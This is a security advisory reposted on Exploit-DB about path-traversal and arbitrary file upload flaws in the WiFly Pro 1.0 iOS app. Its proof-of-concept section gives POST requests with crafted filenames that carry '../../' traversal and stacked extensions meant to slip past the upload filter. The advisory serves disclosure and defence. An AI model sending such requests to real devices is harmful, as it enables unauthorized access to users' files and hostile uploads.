Exploit-DB #26952
Description: WiFly 1.0 Pro iOS - Multiple Vulnerabilities
Type: webapps
Platform: ios
Date: 2013-07-18
Author: Vulnerability-Lab

Exploit:
Title:
======
WiFly 1.0 Pro iOS - Multiple Web Vulnerabilities


Date:
=====
2013-07-15


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1011


VL-ID:
=====
1011


Common Vulnerability Scoring System:
====================================
6.3


Introduction:
=============
It is the best solution for transferring photos, songs, documents, movies and other files between computer 
and your mobile devices over wireless network. Simply launch application on your iOS device and scan QR 
code from http://wifly.me to connect your phone. Drop your files into opened page and vice versa!
No cloud or internet access required - no data leaves your local network. Both your devices must have access 
to the same LAN or WLAN - no additional network configurations needed. Transferred documents can be opened with 
any supported App on your iOS device.

Capabilities: 
- Multiple uploads 
- Easily Drag & Drop multiple files to WiFly 
- Preview pictures in the browser
- Downloading the entire folder to your computer 
- Browsing files and folders directly on mobile device 
- Exchange files between mobile devices
- Built in preview of images, documents, music and video files

(Copy of the Homepage: https://itunes.apple.com/us/app/wifly-pro/id641092695 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).


Report-Timeline:
================
2013-07-15:    Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Apple AppStore
Product: WiFly Pro 1.0


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A local file include and arbitrary file upload web vulnerability is detected in the WiFly 1.0 Pro application (Apple iOS - iPad & iPhone).

The vulnerabilities are located in the file upload module of the web-server (http://localhost:4885/) when processing 
to request via POST a manipulated filename. The injected file will be accessable via the index listing module of the application.  

Remote attackers can exchange the filename with a double or tripple extension via POST method to bypass the upload validation and filter process. 
After the upload the attacker access the file with one extension and exchange it with the other one to execute for example php, js, html codes.

The filter in the application itself disallow to rename a file with special chars because of a input field restriction. Attackers need to request 
2 different urls. First the file as url with a parameter of the filename inside to display and as secound step the file will be uploaded with 
the manipulated filename in the POST request.

Exploitation of the vulnerability requires no user interaction but the victim iOS device needs to accept the other device connection.
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.

Vulnerable Application(s):
				[+] WiFly Pro 1.0 - ITunes or AppStore (Apple)

Vulnerable Module(s):
				[+] Upload

Vulnerable File(s):
				[+] upload.json & add

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index Listing (http://localhost:4885/)


Proof of Concept:
=================
The local file/path include and arbitrary file upload vulnerability can be exploited by remote attackers without user interaction 
but the connection needs to be accepted by the target system. For demonstration or reproduce ...

Standard Request:
Content-Disposition: form-data; name="files[]"; filename="s2.png"\r\nContent-Type: image/png\r\n\r\n?PNG\r\n\n

Status: 200 
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&last_modified=[PII_REDACTED]&name=new-image23.png&sessionid=[PII_REDACTED]09 
Load Flags[LOAD_BYPASS_CACHE  ] Content Size[118] Mime Type[application/x-unknown-content-type]
   


PoC: 1.1 - File/Path Include Vulnerability
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&
last_modified=[PII_REDACTED]&name=../../[File/Path Include Vulnerability!].png&sessionid=[PII_REDACTED]09 
POST_DATA[----------------------------[PII_REDACTED]8057
Content-Disposition: form-data; name="files[]"; filename="../../[File/Path Include Vulnerability!]"
Content-Type: image/png


PoC: 1.2 - Arbitrary File Upload Vulnerability
POST http://192.168.2.104:4885/api/1/upload.json?id_parent=0&size=53025&
last_modified=[PII_REDACTED]&name=[Arbitrary File Upload Vulnerability!].png.gif.html.php.js&sessionid=[PII_REDACTED]09 
POST_DATA[----------------------------[PII_REDACTED]8057
Content-Disposition: form-data; name="files[]"; filename="[Arbitrary File Upload Vulnerability!].png.gif.html.php.js"
Content-Type: image/png


Solution:
=========
The vulnerability can be patched by a restriction of the json upload request and url parameter.
The POST request when processing to upload needs to be restricted, encoded and filtered.


Risk:
=====
The security risk of the local file/path include & arbitrary file upload vulnerability is estimated as high.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or li